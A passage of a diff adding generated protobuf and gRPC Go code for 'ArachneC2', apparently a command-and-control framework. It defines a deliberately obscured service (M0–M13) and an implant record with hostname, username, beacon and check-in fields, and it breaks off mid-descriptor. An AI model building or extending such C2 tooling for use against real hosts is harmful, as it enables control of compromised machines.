0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x22, 0x2b, 0x0a, 0x03,
0x5a, 0x32, 0x37, 0x12, 0x24, 0x0a, 0x08, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x73, 0x18,
0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x08, 0x2e, 0x72, 0x70, 0x62, 0x2e, 0x5a, 0x32, 0x36, 0x52,
0x08, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x73, 0x32, 0xfc, 0x02, 0x0a, 0x01, 0x53, 0x12,
0x1e, 0x0a, 0x02, 0x4d, 0x30, 0x12, 0x0a, 0x2e, 0x63, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74,
0x79, 0x1a, 0x0c, 0x2e, 0x72, 0x70, 0x62, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12,
0x1a, 0x0a, 0x02, 0x4d, 0x31, 0x12, 0x0a, 0x2e, 0x63, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74,
0x79, 0x1a, 0x08, 0x2e, 0x72, 0x70, 0x62, 0x2e, 0x5a, 0x32, 0x37, 0x12, 0x19, 0x0a, 0x02, 0x4d,
0x32, 0x12, 0x07, 0x2e, 0x61, 0x70, 0x62, 0x2e, 0x5a, 0x34, 0x1a, 0x0a, 0x2e, 0x63, 0x70, 0x62,
0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x18, 0x0a, 0x02, 0x4d, 0x33, 0x12, 0x08, 0x2e, 0x61,
0x70, 0x62, 0x2e, 0x5a, 0x31, 0x32, 0x1a, 0x08, 0x2e, 0x61, 0x70, 0x62, 0x2e, 0x5a, 0x31, 0x33,
0x12, 0x18, 0x0a, 0x02, 0x4d, 0x34, 0x12, 0x08, 0x2e, 0x61, 0x70, 0x62, 0x2e, 0x5a, 0x31, 0x34,
0x1a, 0x08, 0x2e, 0x61, 0x70, 0x62, 0x2e, 0x5a, 0x31, 0x35, 0x12, 0x18, 0x0a, 0x02, 0x4d, 0x35,
0x12, 0x08, 0x2e, 0x61, 0x70, 0x62, 0x2e, 0x5a, 0x31, 0x36, 0x1a, 0x08, 0x2e, 0x61, 0x70, 0x62,
0x2e, 0x5a, 0x31, 0x37, 0x12, 0x18, 0x0a, 0x02, 0x4d, 0x36, 0x12, 0x08, 0x2e, 0x61, 0x70, 0x62,
0x2e, 0x5a, 0x32, 0x30, 0x1a, 0x08, 0x2e, 0x61, 0x70, 0x62, 0x2e, 0x5a, 0x32, 0x31, 0x12, 0x18,
0x0a, 0x02, 0x4d, 0x37, 0x12, 0x08, 0x2e, 0x61, 0x70, 0x62, 0x2e, 0x5a, 0x32, 0x32, 0x1a, 0x08,
0x2e, 0x61, 0x70, 0x62, 0x2e, 0x5a, 0x32, 0x33, 0x12, 0x18, 0x0a, 0x02, 0x4d, 0x38, 0x12, 0x08,
0x2e, 0x61, 0x70, 0x62, 0x2e, 0x5a, 0x32, 0x34, 0x1a, 0x08, 0x2e, 0x61, 0x70, 0x62, 0x2e, 0x5a,
0x32, 0x35, 0x12, 0x16, 0x0a, 0x02, 0x4d, 0x39, 0x12, 0x07, 0x2e, 0x61, 0x70, 0x62, 0x2e, 0x5a,
0x32, 0x1a, 0x07, 0x2e, 0x61, 0x70, 0x62, 0x2e, 0x5a, 0x33, 0x12, 0x17, 0x0a, 0x03, 0x4d, 0x31,
0x30, 0x12, 0x07, 0x2e, 0x61, 0x70, 0x62, 0x2e, 0x5a, 0x35, 0x1a, 0x07, 0x2e, 0x61, 0x70, 0x62,
0x2e, 0x5a, 0x36, 0x12, 0x1b, 0x0a, 0x03, 0x4d, 0x31, 0x31, 0x12, 0x07, 0x2e, 0x61, 0x70, 0x62,
0x2e, 0x5a, 0x38, 0x1a, 0x07, 0x2e, 0x61, 0x70, 0x62, 0x2e, 0x5a, 0x38, 0x28, 0x01, 0x30, 0x01,
0x12, 0x17, 0x0a, 0x03, 0x4d, 0x31, 0x32, 0x12, 0x07, 0x2e, 0x61, 0x70, 0x62, 0x2e, 0x5a, 0x39,
0x1a, 0x07, 0x2e, 0x61, 0x70, 0x62, 0x2e, 0x5a, 0x39, 0x12, 0x1d, 0x0a, 0x03, 0x4d, 0x31, 0x33,
0x12, 0x08, 0x2e, 0x61, 0x70, 0x62, 0x2e, 0x5a, 0x31, 0x30, 0x1a, 0x08, 0x2e, 0x61, 0x70, 0x62,
0x2e, 0x5a, 0x31, 0x30, 0x28, 0x01, 0x30, 0x01, 0x42, 0x32, 0x5a, 0x30, 0x67, 0x69, 0x74, 0x68,
0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x70, 0x6f, 0x72, 0x74, 0x62, 0x75, 0x73, 0x74, 0x65,
0x72, 0x31, 0x33, 0x33, 0x37, 0x2f, 0x41, 0x72, 0x61, 0x63, 0x68, 0x6e, 0x65, 0x43, 0x32, 0x2f,
0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72,
0x6f, 0x74, 0x6f, 0x33,
}
var (
file_rpb_rpc_proto_rawDescOnce sync.Once
file_rpb_rpc_proto_rawDescData = file_rpb_rpc_proto_rawDesc
)
func file_rpb_rpc_proto_rawDescGZIP() []byte {
file_rpb_rpc_proto_rawDescOnce.Do(func() {
file_rpb_rpc_proto_rawDescData = protoimpl.X.CompressGZIP(file_rpb_rpc_proto_rawDescData)
})
return file_rpb_rpc_proto_rawDescData
}
var file_rpb_rpc_proto_msgTypes = make([]protoimpl.MessageInfo, 3)
var file_rpb_rpc_proto_goTypes = []interface{}{
(*Version)(nil), // 0: rpb.Version
(*Z26)(nil), // 1: rpb.Z26
(*Z27)(nil), // 2: rpb.Z27
(*cpb.Empty)(nil), // 3: cpb.Empty
(*apb.Z4)(nil), // 4: apb.Z4
(*apb.Z12)(nil), // 5: apb.Z12
(*apb.Z14)(nil), // 6: apb.Z14
(*apb.Z16)(nil), // 7: apb.Z16
(*apb.Z20)(nil), // 8: apb.Z20
(*apb.Z22)(nil), // 9: apb.Z22
(*apb.Z24)(nil), // 10: apb.Z24
(*apb.Z2)(nil), // 11: apb.Z2
(*apb.Z5)(nil), // 12: apb.Z5
(*apb.Z8)(nil), // 13: apb.Z8
(*apb.Z9)(nil), // 14: apb.Z9
(*apb.Z10)(nil), // 15: apb.Z10
(*apb.Z13)(nil), // 16: apb.Z13
(*apb.Z15)(nil), // 17: apb.Z15
(*apb.Z17)(nil), // 18: apb.Z17
(*apb.Z21)(nil), // 19: apb.Z21
(*apb.Z23)(nil), // 20: apb.Z23
(*apb.Z25)(nil), // 21: apb.Z25
(*apb.Z3)(nil), // 22: apb.Z3
(*apb.Z6)(nil), // 23: apb.Z6
}
var file_rpb_rpc_proto_depIdxs = []int32{
1, // 0: rpb.Z27.Implants:type_name -> rpb.Z26
3, // 1: rpb.S.M0:input_type -> cpb.Empty
3, // 2: rpb.S.M1:input_type -> cpb.Empty
4, // 3: rpb.S.M2:input_type -> apb.Z4
5, // 4: rpb.S.M3:input_type -> apb.Z12
6, // 5: rpb.S.M4:input_type -> apb.Z14
7, // 6: rpb.S.M5:input_type -> apb.Z16
8, // 7: rpb.S.M6:input_type -> apb.Z20
9, // 8: rpb.S.M7:input_type -> apb.Z22
10, // 9: rpb.S.M8:input_type -> apb.Z24
11, // 10: rpb.S.M9:input_type -> apb.Z2
12, // 11: rpb.S.M10:input_type -> apb.Z5
13, // 12: rpb.S.M11:input_type -> apb.Z8
14, // 13: rpb.S.M12:input_type -> apb.Z9
15, // 14: rpb.S.M13:input_type -> apb.Z10
0, // 15: rpb.S.M0:output_type -> rpb.Version
2, // 16: rpb.S.M1:output_type -> rpb.Z27
3, // 17: rpb.S.M2:output_type -> cpb.Empty
16, // 18: rpb.S.M3:output_type -> apb.Z13
17, // 19: rpb.S.M4:output_type -> apb.Z15
18, // 20: rpb.S.M5:output_type -> apb.Z17
19, // 21: rpb.S.M6:output_type -> apb.Z21
20, // 22: rpb.S.M7:output_type -> apb.Z23
21, // 23: rpb.S.M8:output_type -> apb.Z25
22, // 24: rpb.S.M9:output_type -> apb.Z3
23, // 25: rpb.S.M10:output_type -> apb.Z6
13, // 26: rpb.S.M11:output_type -> apb.Z8
14, // 27: rpb.S.M12:output_type -> apb.Z9
15, // 28: rpb.S.M13:output_type -> apb.Z10
15, // [15:29] is the sub-list for method output_type
1, // [1:15] is the sub-list for method input_type
1, // [1:1] is the sub-list for extension type_name
1, // [1:1] is the sub-list for extension extendee
0, // [0:1] is the sub-list for field type_name
}
func init() { file_rpb_rpc_proto_init() }
func file_rpb_rpc_proto_init() {
if File_rpb_rpc_proto != nil {
return
}
if !protoimpl.UnsafeEnabled {
file_rpb_rpc_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Version); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_rpb_rpc_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Z26); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_rpb_rpc_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Z27); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
}
type x struct{}
out := protoimpl.TypeBuilder{
File: protoimpl.DescBuilder{
GoPackagePath: reflect.TypeOf(x{}).PkgPath(),
RawDescriptor: file_rpb_rpc_proto_rawDesc,
NumEnums: 0,
NumMessages: 3,
NumExtensions: 0,
NumServices: 1,
},
GoTypes: file_rpb_rpc_proto_goTypes,
DependencyIndexes: file_rpb_rpc_proto_depIdxs,
MessageInfos: file_rpb_rpc_proto_msgTypes,
}.Build()
File_rpb_rpc_proto = out.File
file_rpb_rpc_proto_rawDesc = nil
file_rpb_rpc_proto_goTypes = nil
file_rpb_rpc_proto_depIdxs = nil
}
+50
View File
@@ -0,0 +1,50 @@
syntax = "proto3";
package rpb;
option go_package = "github.com/portbuster1337/ArachneC2/protobuf/rpb";
import "cpb/common.proto";
import "apb/arachne.proto";
service S {
rpc M0(cpb.Empty) returns (Version);
rpc M1(cpb.Empty) returns (Z27);
rpc M2(apb.Z4) returns (cpb.Empty);
rpc M3(apb.Z12) returns (apb.Z13);
rpc M4(apb.Z14) returns (apb.Z15);
rpc M5(apb.Z16) returns (apb.Z17);
rpc M6(apb.Z20) returns (apb.Z21);
rpc M7(apb.Z22) returns (apb.Z23);
rpc M8(apb.Z24) returns (apb.Z25);
rpc M9(apb.Z2) returns (apb.Z3);
rpc M10(apb.Z5) returns (apb.Z6);
rpc M11(stream apb.Z8) returns (stream apb.Z8);
rpc M12(apb.Z9) returns (apb.Z9);
rpc M13(stream apb.Z10) returns (stream apb.Z10);
}
message Version {
string Version = 1;
string Commit = 2;
string GoVersion = 3;
}
message Z26 {
string ID = 1;
string Name = 2;
string Hostname = 3;
string OS = 4;
string Arch = 5;
string Username = 6;
string PeerID = 7;
int64 LastCheckin = 8;
int64 Interval = 9;
bool IsBeacon = 10;
string Locale = 11;
string RemoteAddress = 12;
}
message Z27 {
repeated Z26 Implants = 1;
}
+657
View File
@@ -0,0 +1,657 @@
// Code generated by protoc-gen-go-grpc. DO NOT EDIT.
// versions:
// - protoc-gen-go-grpc v1.3.0
// - protoc v4.25.1
// source: rpb/rpc.proto
package rpb
import (
context "context"
apb "github.com/portbuster1337/ArachneC2/protobuf/apb"
cpb "github.com/portbuster1337/ArachneC2/protobuf/cpb"
grpc "google.golang.org/grpc"
codes "google.golang.org/grpc/codes"
status "google.golang.org/grpc/status"
)
// This is a compile-time assertion to ensure that this generated file
// is compatible with the grpc package it is being compiled against.
// Requires gRPC-Go v1.32.0 or later.
const _ = grpc.SupportPackageIsVersion7
const (
S_M0_FullMethodName = "/rpb.S/M0"
S_M1_FullMethodName = "/rpb.S/M1"
S_M2_FullMethodName = "/rpb.S/M2"
S_M3_FullMethodName = "/rpb.S/M3"
S_M4_FullMethodName = "/rpb.S/M4"
S_M5_FullMethodName = "/rpb.S/M5"
S_M6_FullMethodName = "/rpb.S/M6"
S_M7_FullMethodName = "/rpb.S/M7"
S_M8_FullMethodName = "/rpb.S/M8"
S_M9_FullMethodName = "/rpb.S/M9"
S_M10_FullMethodName = "/rpb.S/M10"
S_M11_FullMethodName = "/rpb.S/M11"
S_M12_FullMethodName = "/rpb.S/M12"
S_M13_FullMethodName = "/rpb.S/M13"
)
// SClient is the client API for S service.
//
// For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream.
type SClient interface {
M0(ctx context.Context, in *cpb.Empty, opts ...grpc.CallOption) (*Version, error)
M1(ctx context.Context, in *cpb.Empty, opts ...grpc.CallOption) (*Z27, error)
M2(ctx context.Context, in *apb.Z4, opts ...grpc.CallOption) (*cpb.Empty, error)
M3(ctx context.Context, in *apb.Z12, opts ...grpc.CallOption) (*apb.Z13, error)
M4(ctx context.Context, in *apb.Z14, opts ...grpc.CallOption) (*apb.Z15, error)
M5(ctx context.Context, in *apb.Z16, opts ...grpc.CallOption) (*apb.Z17, error)
M6(ctx context.Context, in *apb.Z20, opts ...grpc.CallOption) (*apb.Z21, error)
M7(ctx context.Context, in *apb.Z22, opts ...grpc.CallOption) (*apb.Z23, error)
M8(ctx context.Context, in *apb.Z24, opts ...grpc.CallOption) (*apb.Z25, error)
M9(ctx context.Context, in *apb.Z2, opts ...grpc.CallOption) (*apb.Z3, error)
M10(ctx context.Context, in *apb.Z5, opts ...grpc.CallOption) (*apb.Z6, error)
M11(ctx context.Context, opts ...grpc.CallOption) (S_M11Client, error)
M12(ctx context.Context, in *apb.Z9, opts ...grpc.CallOption) (*apb.Z9, error)
M13(ctx context.Context, opts ...grpc.CallOption) (S_M13Client, error)
}
type sClient struct {
cc grpc.ClientConnInterface
}
func NewSClient(cc grpc.ClientConnInterface) SClient {
return &sClient{cc}
}
func (c *sClient) M0(ctx context.Context, in *cpb.Empty, opts ...grpc.CallOption) (*Version, error) {
out := new(Version)
err := c.cc.Invoke(ctx, S_M0_FullMethodName, in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sClient) M1(ctx context.Context, in *cpb.Empty, opts ...grpc.CallOption) (*Z27, error) {
out := new(Z27)
err := c.cc.Invoke(ctx, S_M1_FullMethodName, in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sClient) M2(ctx context.Context, in *apb.Z4, opts ...grpc.CallOption) (*cpb.Empty, error) {
out := new(cpb.Empty)
err := c.cc.Invoke(ctx, S_M2_FullMethodName, in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sClient) M3(ctx context.Context, in *apb.Z12, opts ...grpc.CallOption) (*apb.Z13, error) {
out := new(apb.Z13)
err := c.cc.Invoke(ctx, S_M3_FullMethodName, in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sClient) M4(ctx context.Context, in *apb.Z14, opts ...grpc.CallOption) (*apb.Z15, error) {
out := new(apb.Z15)
err := c.cc.Invoke(ctx, S_M4_FullMethodName, in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sClient) M5(ctx context.Context, in *apb.Z16, opts ...grpc.CallOption) (*apb.Z17, error) {
out := new(apb.Z17)
err := c.cc.Invoke(ctx, S_M5_FullMethodName, in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sClient) M6(ctx context.Context, in *apb.Z20, opts ...grpc.CallOption) (*apb.Z21, error) {
out := new(apb.Z21)
err := c.cc.Invoke(ctx, S_M6_FullMethodName, in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sClient) M7(ctx context.Context, in *apb.Z22, opts ...grpc.CallOption) (*apb.Z23, error) {
out := new(apb.Z23)
err := c.cc.Invoke(ctx, S_M7_FullMethodName, in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sClient) M8(ctx context.Context, in *apb.Z24, opts ...grpc.CallOption) (*apb.Z25, error) {
out := new(apb.Z25)
err := c.cc.Invoke(ctx, S_M8_FullMethodName, in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sClient) M9(ctx context.Context, in *apb.Z2, opts ...grpc.CallOption) (*apb.Z3, error) {
out := new(apb.Z3)
err := c.cc.Invoke(ctx, S_M9_FullMethodName, in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sClient) M10(ctx context.Context, in *apb.Z5, opts ...grpc.CallOption) (*apb.Z6, error) {
out := new(apb.Z6)
err := c.cc.Invoke(ctx, S_M10_FullMethodName, in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sClient) M11(ctx context.Context, opts ...grpc.CallOption) (S_M11Client, error) {
stream, err := c.cc.NewStream(ctx, &S_ServiceDesc.Streams[0], S_M11_FullMethodName, opts...)
if err != nil {
return nil, err
}
x := &sM11Client{stream}
return x, nil
}
type S_M11Client interface {
Send(*apb.Z8) error
Recv() (*apb.Z8, error)
grpc.ClientStream
}
type sM11Client struct {
grpc.ClientStream
}
func (x *sM11Client) Send(m *apb.Z8) error {
return x.ClientStream.SendMsg(m)
}
func (x *sM11Client) Recv() (*apb.Z8, error) {
m := new(apb.Z8)
if err := x.ClientStream.RecvMsg(m); err != nil {
return nil, err
}
return m, nil
}
func (c *sClient) M12(ctx context.Context, in *apb.Z9, opts ...grpc.CallOption) (*apb.Z9, error) {
out := new(apb.Z9)
err := c.cc.Invoke(ctx, S_M12_FullMethodName, in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sClient) M13(ctx context.Context, opts ...grpc.CallOption) (S_M13Client, error) {
stream, err := c.cc.NewStream(ctx, &S_ServiceDesc.Streams[1], S_M13_FullMethodName, opts...)
if err != nil {
return nil, err
}
x := &sM13Client{stream}
return x, nil
}
type S_M13Client interface {
Send(*apb.Z10) error
Recv() (*apb.Z10, error)
grpc.ClientStream
}
type sM13Client struct {
grpc.ClientStream
}
func (x *sM13Client) Send(m *apb.Z10) error {
return x.ClientStream.SendMsg(m)
}
func (x *sM13Client) Recv() (*apb.Z10, error) {
m := new(apb.Z10)
if err := x.ClientStream.RecvMsg(m); err != nil {
return nil, err
}
return m, nil
}
// SServer is the server API for S service.
// All implementations must embed UnimplementedSServer
// for forward compatibility
type SServer interface {
M0(context.Context, *cpb.Empty) (*Version, error)
M1(context.Context, *cpb.Empty) (*Z27, error)
M2(context.Context, *apb.Z4) (*cpb.Empty, error)
M3(context.Context, *apb.Z12) (*apb.Z13, error)
M4(context.Context, *apb.Z14) (*apb.Z15, error)
M5(context.Context, *apb.Z16) (*apb.Z17, error)
M6(context.Context, *apb.Z20) (*apb.Z21, error)
M7(context.Context, *apb.Z22) (*apb.Z23, error)
M8(context.Context, *apb.Z24) (*apb.Z25, error)
M9(context.Context, *apb.Z2) (*apb.Z3, error)
M10(context.Context, *apb.Z5) (*apb.Z6, error)
M11(S_M11Server) error
M12(context.Context, *apb.Z9) (*apb.Z9, error)
M13(S_M13Server) error
mustEmbedUnimplementedSServer()
}
// UnimplementedSServer must be embedded to have forward compatible implementations.
type UnimplementedSServer struct {
}
func (UnimplementedSServer) M0(context.Context, *cpb.Empty) (*Version, error) {
return nil, status.Errorf(codes.Unimplemented, "method M0 not implemented")
}
func (UnimplementedSServer) M1(context.Context, *cpb.Empty) (*Z27, error) {
return nil, status.Errorf(codes.Unimplemented, "method M1 not implemented")
}
func (UnimplementedSServer) M2(context.Context, *apb.Z4) (*cpb.Empty, error) {
return nil, status.Errorf(codes.Unimplemented, "method M2 not implemented")
}
func (UnimplementedSServer) M3(context.Context, *apb.Z12) (*apb.Z13, error) {
return nil, status.Errorf(codes.Unimplemented, "method M3 not implemented")
}
func (UnimplementedSServer) M4(context.Context, *apb.Z14) (*apb.Z15, error) {
return nil, status.Errorf(codes.Unimplemented, "method M4 not implemented")
}
func (UnimplementedSServer) M5(context.Context, *apb.Z16) (*apb.Z17, error) {
return nil, status.Errorf(codes.Unimplemented, "method M5 not implemented")
}
func (UnimplementedSServer) M6(context.Context, *apb.Z20) (*apb.Z21, error) {
return nil, status.Errorf(codes.Unimplemented, "method M6 not implemented")
}
func (UnimplementedSServer) M7(context.Context, *apb.Z22) (*apb.Z23, error) {
return nil, status.Errorf(codes.Unimplemented, "method M7 not implemented")
}
func (UnimplementedSServer) M8(context.Context, *apb.Z24) (*apb.Z25, error) {
return nil, status.Errorf(codes.Unimplemented, "method M8 not implemented")
}
func (UnimplementedSServer) M9(context.Context, *apb.Z2) (*apb.Z3, error) {
return nil, status.Errorf(codes.Unimplemented, "method M9 not implemented")
}
func (UnimplementedSServer) M10(context.Context, *apb.Z5) (*apb.Z6, error) {
return nil, status.Errorf(codes.Unimplemented, "method M10 not implemented")
}
func (UnimplementedSServer) M11(S_M11Server) error {
return status.Errorf(codes.Unimplemented, "method M11 not implemented")
}
func (UnimplementedSServer) M12(context.Context, *apb.Z9) (*apb.Z9, error) {
return nil, status.Errorf(codes.Unimplemented, "method M12 not implemented")
}
func (UnimplementedSServer) M13(S_M13Server) error {
return status.Errorf(codes.Unimplemented, "method M13 not implemented")
}
func (UnimplementedSServer) mustEmbedUnimplementedSServer() {}
// UnsafeSServer may be embedded to opt out of forward compatibility for this service.
// Use of this interface is not recommended, as added methods to SServer will
// result in compilation errors.
type UnsafeSServer interface {
mustEmbedUnimplementedSServer()
}
func RegisterSServer(s grpc.ServiceRegistrar, srv SServer) {
s.RegisterService(&S_ServiceDesc, srv)
}
func _S_M0_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(cpb.Empty)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SServer).M0(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: S_M0_FullMethodName,
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SServer).M0(ctx, req.(*cpb.Empty))
}
return interceptor(ctx, in, info, handler)
}
func _S_M1_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(cpb.Empty)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SServer).M1(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: S_M1_FullMethodName,
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SServer).M1(ctx, req.(*cpb.Empty))
}
return interceptor(ctx, in, info, handler)
}
func _S_M2_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(apb.Z4)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SServer).M2(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: S_M2_FullMethodName,
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SServer).M2(ctx, req.(*apb.Z4))
}
return interceptor(ctx, in, info, handler)
}
func _S_M3_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(apb.Z12)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SServer).M3(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: S_M3_FullMethodName,
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SServer).M3(ctx, req.(*apb.Z12))
}
return interceptor(ctx, in, info, handler)
}
func _S_M4_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(apb.Z14)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SServer).M4(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: S_M4_FullMethodName,
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SServer).M4(ctx, req.(*apb.Z14))
}
return interceptor(ctx, in, info, handler)
}
func _S_M5_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(apb.Z16)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SServer).M5(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: S_M5_FullMethodName,
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SServer).M5(ctx, req.(*apb.Z16))
}
return interceptor(ctx, in, info, handler)
}
func _S_M6_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(apb.Z20)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SServer).M6(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: S_M6_FullMethodName,
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SServer).M6(ctx, req.(*apb.Z20))
}
return interceptor(ctx, in, info, handler)
}
func _S_M7_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(apb.Z22)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SServer).M7(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: S_M7_FullMethodName,
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SServer).M7(ctx, req.(*apb.Z22))
}
return interceptor(ctx, in, info, handler)
}
func _S_M8_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(apb.Z24)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SServer).M8(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: S_M8_FullMethodName,
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SServer).M8(ctx, req.(*apb.Z24))
}
return interceptor(ctx, in, info, handler)
}
func _S_M9_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(apb.Z2)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SServer).M9(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: S_M9_FullMethodName,
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SServer).M9(ctx, req.(*apb.Z2))
}
return interceptor(ctx, in, info, handler)
}
func _S_M10_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(apb.Z5)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SServer).M10(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: S_M10_FullMethodName,
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SServer).M10(ctx, req.(*apb.Z5))
}
return interceptor(ctx, in, info, handler)
}
func _S_M11_Handler(srv interface{}, stream grpc.ServerStream) error {
return srv.(SServer).M11(&sM11Server{stream})
}
type S_M11Server interface {
Send(*apb.Z8) error
Recv() (*apb.Z8, error)
grpc.ServerStream
}
type sM11Server struct {
grpc.ServerStream
}
func (x *sM11Server) Send(m *apb.Z8) error {
return x.ServerStream.SendMsg(m)
}
func (x *sM11Server) Recv() (*apb.Z8, error) {
m := new(apb.Z8)
if err := x.ServerStream.RecvMsg(m); err != nil {
return nil, err
}
return m, nil
}
func _S_M12_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(apb.Z9)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SServer).M12(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: S_M12_FullMethodName,
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SServer).M12(ctx, req.(*apb.Z9))
}
return interceptor(ctx, in, info, handler)
}
func _S_M13_Handler(srv interface{}, stream grpc.ServerStream) error {
return srv.(SServer).M13(&sM13Server{stream})
}
type S_M13Server interface {
Send(*apb.Z10) error
Recv() (*apb.Z10, error)
grpc.ServerStream
}
type sM13Server struct {
grpc.ServerStream
}
func (x *sM13Server) Send(m *apb.Z10) error {
return x.ServerStream.SendMsg(m)
}
func (x *sM13Server) Recv() (*apb.Z10, error) {
m := new(apb.Z10)
if err := x.ServerStream.RecvMsg(m); err != nil {
return nil, err
}
return m, nil
}
// S_ServiceDesc is the grpc.ServiceDesc for S service.
// It's only intended for direct use with grpc.RegisterService,
// and not to be introspected or modified (even as a copy)
var S_ServiceDesc = grpc.ServiceDesc{
ServiceName: "rpb.S",
HandlerType: (*SServer)(nil),
Methods: []grpc.MethodDesc{
{
MethodName: "M0",
Handler: _S_M0_Handler,
},
{
MethodName: "M1",
Handler: _S_M1_Handler,
},
{
MethodName: "M2",
Handler: _S_M2_Handler,
},
{
MethodName: "M3",
Handler: _S_M3_Handler,
},
{
MethodName: "M4",
Handler: _S_M4_Handler,
},
{
MethodName: "M5",
Handler: _S_M5_Handler,
},
{
MethodName: "M6",
Handler: _S_M6_Handler,
},
{
MethodName: "M7",
